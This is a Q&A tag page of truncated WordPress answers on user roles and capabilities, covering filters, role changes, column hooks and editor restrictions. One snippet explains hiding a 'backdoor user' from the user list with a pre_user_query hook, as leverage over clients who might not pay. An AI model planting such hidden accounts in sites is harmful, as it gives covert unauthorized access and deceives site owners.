Tag Info

Hot answers tagged

15

See the WP_User class, you can use this to add and remove roles for a user. EDIT: I really should of provided more information with this answer initially, so i'm adding more information below. More specifically, a user's role can be set by creating an instance of the WP_user class, and calling the add_role() or remove_role() methods. Example Change a ...


6

While you can't guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example) add_action('pre_user_query','sleeper_pre_user_query'); function sleeper_pre_user_query($user_search) { global $current_user; $username = ...


5

Filter 'login_redirect'. Sample code, not tested: add_filter( 'wp_login', 'wpse_78150_login_redirect' ); function wpse_78150_login_redirect( $url ) { # uncomment the next line for debugging # var_dump( wp_get_current_user() ); exit; if ( ! current_user_can( 'custom_role' ) ) return $url; return admin_url(); }


5

I know this question is a year old now, but I have just discovered there is in fact a way to achieve this, so posting it here in case it's useful to other people: add_filter( 'user_has_cap', 'my_user_has_cap', 10, 3 ); function my_user_has_cap( $user_caps, $req_cap, $args ) { $post = get_post( $args[2] ); if ( 'attachment' != $post->post_type ...


4

I was able to come up with a work around! First, I used Role Scoper to limit a user account to a specific term - in this case, a Ministry Representative is limited to the name of their Ministry in the "ministries" taxonomy. Then, I used the WPAlchemy class to create a custom metabox that would list the terms and, since it only returned one (theirs), I would ...


3

When adding a role and capabilities you only need to run the code once since the roles and capabilities are saved to the database when using add_role or ->add_cap functions so just like Andy said you can use after_setup_theme for this kind of action but add some kind of check so it only runs once, like register_activation_hook or using options: ...


3

Very interesting question. It's a bit outside the scope of the typical rolls/capabilities functionality as it's more fine grained (unless I'm wrong -- very possible). The first step would be to put some sort of way in that you can assign which posts a user can edit. It makes the most sense to stick that the user's profile page. So you can hook into ...


3

Confirming… Yes, there's currently (WP 3.4.1) no way to modify the access arguments for admin menu pages. The only one, that you can modify through the public wp API is the »Comments« menu item. All others are registered by hand. But there's help coming from @scribu (read more at the trac ticket) who has so far taken a lot of effort to bring ...


3

Me, like @fischi think that filter 'user_has_cap' is the best choiche for the pourpose, however, I think that is better to the work, regardless the $_GET post or action: WordPress check the meta cabability on a per-post basis, using an additional argument. In few words, when filtering 'user_has_cap' for a meta capability (see ...


2

After hours of fighting to get this to work, it was just a matter of changing delete_posts to delete_post. So, in it's entirety this would be: current_user_can('delete_posts', $post_id); to current_user_can('delete_post', $post_id); current_user_can does accept a second parameter. Though it's weird that the function declaration in capabilities.php does ...


2

you can add a custom field to each listing post with the user's role and then in your query you can order by that field, for example say you have a custom field named `u_role' then your query should look like this: $custom_role_query = new WP_Query( array( 'author' => implode( ',', $custom_ids ), 'post_type' => 'listing', 'posts_per_page' => 10, ...


2

I am pretty sure that nothing would happen other than the user would have the capability in question. Think about it. The default Roles share many capabilities-- Authors, Editors, and Administrators all have edit_posts, for example. All roles (usually) have read The same system manages both default and custom roles/capabilities, so there really should be ...


2

There are two ways to do this. Almost any decent membership management plugin will enable you to restrict content to a given user role and plugins such as Role Scoper are even more flexible. For a more code-based solution you would add some variation of the following to the desired theme template files where ever needed: <?php ...


2

Ok, old question; but the solution lies already in the WP core. Unless you also want to prevent User1 from reading pages he has no editing privileges to. If you set User1 as "Author", User1 will only be able to edit their own content. You can create pages as Admin, and set author as "User1", granting User1 an editing access to the page. Of course, this is ...


2

Imho that's one of the most important things regarding users: /** * Deny access to 'administrator' for other roles * Else anyone, with the edit_users capability, can edit others * to be administrators - even if they are only editors or authors * * @since 0.1 * @param (array) $all_roles * @return (array) $all_roles */ function ...


2

first about the add_role you only need to run this once, so after you paste it in your functions.php and saved you can remove it and save again and the role will be there always. then about the author_can function, i really never use it so i can tell whats wrong but you can use current_user_can() function like this: update if ( is_user_logged_in() ) { ...


1

There's a WordPress function for that! I think it is best to use WordPress functions, if and when they are available. You can use the wp_insert_user() function, where one of the arguments that you will need to provide is the $userdata['role']. In this argument you can specify the role that you want to change the user into.


1

To extrapolate on t31os's answer you can slap something like this in your functions file if you want to do this programmatically based on a condition $blogusers = get_users($blogID.'&role=student'); foreach ($blogusers as $user) { $thisYear = date('Y-7'); $gradYear = date(get_the_author_meta( 'graduation_year', $user->ID ).'-7'); ...


1

Manage Columns It's pretty straight forward using the manage_{post-type-name}_columns filter: Just switch per $capability and unset what you don't need in the $post_columns array. function wpse19435_manage_columns( $posts_columns ) { // First role: add a column - take a look at the second function if ( current_user_can( $capability_admin ) ) { ...


1

Thanks to Mike23 for the tip. Here's the code that I'm using to add a column to only the "customer" role: if( $_GET['role'] == "customer" ) { add_filter('manage_users_columns', 'add_ecommerce_column'); add_filter('manage_users_custom_column', 'manage_ecommerce_column', 10, 3); function add_ecommerce_column($columns) { $columns['ecommerce'] = ...


1

You can use a plugin like Justin Tadlock's Members or the Role Scoper plugin, with those you can customize all capabilities for the administrator as well as the editor roles (and any other roles for that matter). You can even define your own roles with capabilities.


1

This should be easiest way, just add the line to wp-config.php, this will disable plugin and theme editor, both. define('DISALLOW_FILE_EDIT',true); If you want to add codes into theme's function, the code should work for you. function ra_block_tp_edit( $caps, $cap ) { if($cap == 'edit_plugins' ) $caps[] = 'do_not_allow'; return $caps; ...


1

You can delete or add again the Roles and/or the Capabilities: add_role(), remove_role(), get_role(), add_cap(), remove_cap()


1

Deactivate the Plugin Go to Dashboard > Users Select all users Select the desired role from the "Change role to" dropdown Click "Change" Plugins can't really do any permanent damage, provided that all of their actions are implemented properly via the Plugin API. I assume the Members Plugin fits this description. So, once you deactivate it, any changes ...


1

For a list of capabilities by user level, check the Roles and Capabilities Codex page. The capability that would allow a user to change a theme header would probably be edit_theme_options, but I bet it would give your editors more capabilities than just messing with the header, though. It's hard to say for sure without knowing what theme you are using. The ...


1

OVERVIEW While the question was about limiting editor roles to access only Widgets, the following example shows how to limit access only to Menus. However as you will see, it can easily be changed to allow only Widgets or more! I added Step #3 because I forgot about the Admin Bar. Oops! So now whether logged into the Dashboard or logged in and on the WP ...


1

I don't know the function you mention either, but I would venture to guess that that applies to default roles only anyhow. Still, the link you posted does contain a pointer in the right direction. It speaks of "dummy gettext calls", which is exactly what you have to do. In the following we will adjust the global $wp_roles object on init and hook a filter ...


1

According to register_post_type() documentation capability_type argument is used to construct capabilities. I think since you are customizing it for the post type, its capabilities requirements won't be formed like read_post but like read_an_group.


1

The following excludes posts not written by the user from the edit-post screen (you can add further screen IDs if necessary) if they have the 'contributor' role. Normally I would suggest adding a custom capability, and comparing the capability not the role. But since it seems this plug-in isn't for distribution, this is isn't such an important distinction. ...


1

There doesn't seem to be a way to interrupt deletion process in wp_delete_user() function, which performs it. However in runtime WordPress runs (naturally) capability check before deletion: if ( ! current_user_can( 'delete_user', $id ) ) wp_die(__( 'You can&#8217;t delete that user.' ) ); It passes $id of user being deleted, so you should be ...



Only top voted, non community-wiki answers of a minimum length are eligible